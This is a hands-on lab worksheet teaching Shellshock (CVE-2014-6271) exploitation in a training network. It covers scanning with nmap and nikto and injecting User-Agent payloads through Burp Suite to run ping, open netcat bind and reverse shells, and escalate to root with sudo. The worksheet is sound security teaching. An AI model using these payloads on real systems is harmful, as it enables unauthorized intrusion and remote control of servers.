Hands-On Series: Bash Bug (Shellshock) Exploitation

Estimated time: 1 hour
Developed by Adriana Escobar De La Torre

The Bash Bug vulnerability also known as “Shellshock” (CVE-2014-6271) was discovered on September 2014. It affects Linux and Unix command-line shells. For that reason, it potentially exposing websites, servers, PC’s, OS X Macs, home routers and any other devices executing or allowing bash scripts.

Stephane Chazelas, the security researcher that discovered the vulnerability, states that it has existed for several decades, stating that it is related to the way Bash handles specially-formatted environment variables, named shell functions. This is a risk because shells potentially allow users to run commands with high privileges.

Your task is to exploit a vulnerable server through the bash bug vulnerability using Burpsuite.

1. Open a terminal window (2nd icon on the left panel) and then identify the IP address of your machine by executing the following command.

   ```bash
   ifconfig eth0
   ```

   What is your IP address? ______________________

   **Hint:** Your IP address proceeds the inet label and should have the form of 192.168.X.Y

2. Now use `nmap` to find if there are any other hosts up on the network to target them. Execute the following command.

   ```bash
   nmap -sP [Your IP Address]/24
   ```

   **Specifying to scan without first checking if systems are responding to a “ping” (used here to speeds things up).**

   **This notation is used to scan a range of IP addresses; in this case devices that are in the same subnetwork as your machine.**
3. Look at the results and write the IP address of the other non-router device that (a) is not your own (from step 1 above) and (b) does not end with .1 (the .1 address is used by the router)

Target’s IP address: _______________________

Nikto is an open source web server scanner that checks web servers for vulnerabilities and outdated servers versions among others.

4. Scan the target machine you found in the previous step for any known web vulnerabilities:

```bash
nikto -host http://[Target’s IP Address]
```

Once the process ends, read the output showing the target machine contains vulnerabilities, as seen in Figure 1.

![Figure 1: Shellshock vulnerability in Nikto](image)

5. It appears that Target is vulnerable to shellshock. You are going to capture the HTTP traffic using Burpsuite and then modify the traffic to verify the vulnerability.

Burpsuite is a web penetration testing framework used to identify and verify vulnerabilities for web applications. Burpsuite captures each request and response to/from a web site.

6. Type `burpsuite` into the terminal and hit Enter.
7. Click OK into the pop out window. Select ‘Temporary project’ and click ‘Next’. Select ‘Use Burp defaults’ and click Start Burp.
8. Go to the Proxy tab and make sure to **turn off intercept** in the Intercept subtab, as seen in Figure 2.

![Figure 2: Burpsuite proxy, intercept off](image)

9. Open the Firefox web browser (1st icon in the left panel) and type the IP of the Target machine into the address bar. A page similar to Figure 3 should load.

![Figure 3: Vulnerable website in Firefox](image)

**CVE-2014-6271**

This system is running:
- **uptime**: 07:50 03 up 3 min, 1 users, load average: 0.01, 0.02, 0.01
- **kernel**: Linux vulnerable 3.14.1pentesterlab #1 SMP Sun Jul 6 09:18:00 EST 2014 i866 GNU/Linux

Common Gateway Interface (cgi) is a protocol for web servers to execute programs that use command applications that run on a server.

10. Look at the page source code by right clicking on the page and selecting **View Page Source**. Find the name of the javascript function in the code.

**Hint: function names are proceeded by parenthesis**

a. What is the name of the function?

b. By looking in the function call, identify the directory that contains the **JSON** object that the function is **getting**.

**Hint: the directory contains the name of the function.**
11. Go to Burpsuite and click on the HTTP history tab. Here we can see all the browser requests made.
   a. Identify which of the listed requests will be useful to begin the exploit based on what you have found in the previous steps.

12. Right click on the function that you identified in Step 11 and send it to Repeater.

13. Go to the Repeater tab.
   a. Identify and write down the GET request line.

   b. Write what you think the User Agent parameter represents.

******************************************************************************

It is very common for attackers to execute commands such as ls (list files), ping (echo request), ifconfig (list network interfaces), etc. to verify arbitrary code execution on victim machines.

Strings with the format ( ) { :: ; } ; make the linux shell interpret variables as commands to be executed. In this form the contents of the string are evaluated by a shell parser and then passed to the bash command if the command is correct.

******************************************************************************

14. Replace the line that contains User Agent with the following and then Click on the Go button. This will force the target machine to ping your machine. (Replace <Your IP> with your IP Address, from Question 1)

   User-Agent: () { :: ; } ; /bin/bash -c 'ping -c 3 <Your IP>''

   Note: ping -c 3 sets the count to 3. It stops after transmitting 3 packets. You should see something similar to the following picture as a result. Check your spaces if it does not work. The response should be similar to that in Figure 5.
tcpdump is a packet analyzer that allows the user to display TCP/IP packets that are being transmitted through the network.

Internet Control Message Protocol (ICMP) is the protocol used by the ping command to send echo request packets (along with others).

15. Open a new terminal window and look at the ICMP traffic to verify the transmissions of packets through ping.

```
tcpdump -i eth0 -n icmp
```

16. Now we are viewing the ICMP traffic. Go back to Burpsuite and click Go. In the terminal you can look at the traffic. If everything is working correctly you should see something similar to Figure 6.

![Figure 6: tcpdump ICMP traffic](image)

Netcat (nc) is a computer networking tool for networking.

Netcat has several features that can be enabled using flags. Below are some examples:
- `e`: Execute a command after connection is established (not available in modern netcat).
- `l`: Listen for an incoming connection.
- `p`: Specify a port that netcat should use.
- `v`: Give verbose (display or get more information) output.

17. Now that you have demonstrated that you can execute commands on the target, you will try to open a remote shell. Go back to Burpsuite and in the User Agent field type the following and click the button Go.

```
User Agent: () { :; }; /bin/bash -c 'nc -l -p 9999 -e /bin/sh'
```

**Note:** If no errors appear, the target is running netcat and is listening for a connection.
18. Open a *new terminal window* by right-clicking on the terminal icon and selecting New Window. Execute the following command.

```
nc <Target IP Address> 9999
```

*Note:* wait until a new line appears and continue to the next step.

19. Execute the following command in the terminal to display the username that you are using.

```
whoami
```

a. What is the name of your user?

---------------------------------------------------------------------

20. A common technique for an *Attacker* with a low-privilege user is to attempt to *escalate privileges*. The command that you will use to escalate privileges is `sudo`. Type the following command in the netcat session that you are using.

```
sudo -s
```

21. Now you have root access on the target server. To confirm this, execute the *whoami* command again.

a. What is the name of your user?

---------------------------------------------------------------------

*Note:* You can stop the shell by pressing *Ctrl + c*

22. Verify your understanding by drawing the Target and *your* machine and label the direction of the established netcat connection.

23. Now try connecting using a *reverse shell*. Open a terminal window and listen for an inbound connection your machine on port 443.

```
nc -lvp 443
```

24. Now through *Burpsuite*, we want to start a new netcat session on the Target to connect to the session we created in step 23. Type the following command and click the button *Go*:

```
User Agent: () { :: }; /bin/bash -c 'nc <Your IP> 443 -e /bin/sh'
```
25. Go back to the terminal window and you should see that you are connected to the Target machine. Run through steps 19, 20, and 21 again to confirm that you successfully exploited the targeted machine and have root access.

26. Verify your understanding by drawing the Target and your machine and label the direction of the established netcat connection.

27. **Uber Question (optional):** Write some advantages of using one connection type over the other.

________________________________________________________________________

________________________________________________________________________

________________________________________________________________________

Congratulations! You have successfully completed the exercise.